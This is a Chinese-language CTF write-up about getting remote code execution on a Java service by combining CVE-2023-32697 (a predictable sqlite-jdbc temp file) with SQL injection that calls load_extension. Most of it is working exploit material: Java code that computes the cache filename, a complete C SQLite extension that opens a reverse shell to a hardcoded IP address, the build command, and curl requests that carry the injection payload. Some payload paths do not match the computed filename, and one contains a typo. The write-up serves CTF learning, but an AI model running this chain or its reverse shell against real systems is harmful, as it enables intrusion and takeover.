从一道题看利用sqlite打jdbc达到RCE

前言

从今年国赛的一道java题遇到了sqlite数据库去打jdbc达到RCE的姿势，故笔者写篇文章记下

复现

反编译源代码可以看见这三个数据库

这里提供了mysql sqlite psql 但mysql和psql都不行这里我们用sqlite去打

jdbc就可以执行load_extension()

CVE-2023-32697，这个洞其实就是sqlite数据库⽂件的缓存⽂件在tmp⽬录下⽂件名是已知的，直接

通过以下脚本跑

package org.example;
import java.net.MalformedURLException;
import java.net.URL;

public class filename {
    public static void main(String[] args) throws MalformedURLException {
       String so = "http://vpsip:port/poc.so";
       String url = so;
       String filename = "/tmp/sqlite-jdbc-tmp-"+new
                URL(url).hashCode()+".db";System.out.printf(filename);}
}

接着sqlite.getTableContent这⾥能够SQL注⼊，直接联合注⼊执⾏load_extension

"tableName":"user union select 1,load_extension('/emp/sqlite-jdbc-tmp--39093542.db');-- "

就能加载恶意的so文件

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sqlite3ext.h>
#include <sys/stat.h>

SQLITE_EXTENSION_INIT1

/* Configuration for the TCP connection */
int tcp_port = 5555;
char *ip = "129.204.197.19";

#ifdef _WIN32
__declspec(dllexport)
#endif

/**
 * Initializes the SQLite extension.
 *
 * @param db SQLite database pointer
 * @param pzErrMsg Error message pointer
 * @param pApi SQLite API routines pointer
 * @return SQLITE_OK on success
 */
int sqlite3_extension_init(
    sqlite3 *db,
    char **pzErrMsg,
    const sqlite3_api_routines *pApi
) {
    int rc = SQLITE_OK;
    SQLITE_EXTENSION_INIT2(pApi);

    /* Establish a TCP connection and spawn a shell if running in a child process */
    int fd;
    if ((fork()) <= 0) {
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(tcp_port);
        addr.sin_addr.s_addr = inet_addr(ip);

        fd = socket(AF_INET, SOCK_STREAM, 0);
        if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
            exit(0); // Exit if connection fails
        }

        // Redirect standard file descriptors to the socket
        dup2(fd, 0);
        dup2(fd, 1);
        dup2(fd, 2);

        // Execute bash shell
        execve("/bin/bash", NULL, NULL);
    }

    return rc;
}

这个是反弹shell的sqlite恶意拓展

gcc -g -fPIC -shared poc.c -o poc.so

编译好之后之间放在远程服务上让其建⽴缓存

curl --header "Content-Type: application/json" --request POST --data "{\"type\": 3,\"url\": \"jdbc:sqlite::resource:http://vpsip:port/poc.so\",\"tableName\": \"security\"}" http://pwn.challenge.ctf.show:28130/jdbc/connect

这个时候 /tmp/sqlite-jdbc-tmp-840682179.db⽂件就写⼊进去了，接着创建⼀个正常的带user表

的sqlite数据库⽂件放到服务器上让其进⾏连接

接着传⼊table参数进⾏sql注⼊

curl --header "Content-Type: application/json" --request POST --data "{\"type\": 3,\"url\": \"jdbc:sqlite::resource:http://vpsip:port/111.db\",\"tableName\": \"user union select 1,load_extension('/tmp/sqlite-jdbc-tmp
--39093542.db')\"}" http://pwn.challenge.ctf.show:28130/jdbc/connect

至此攻击完成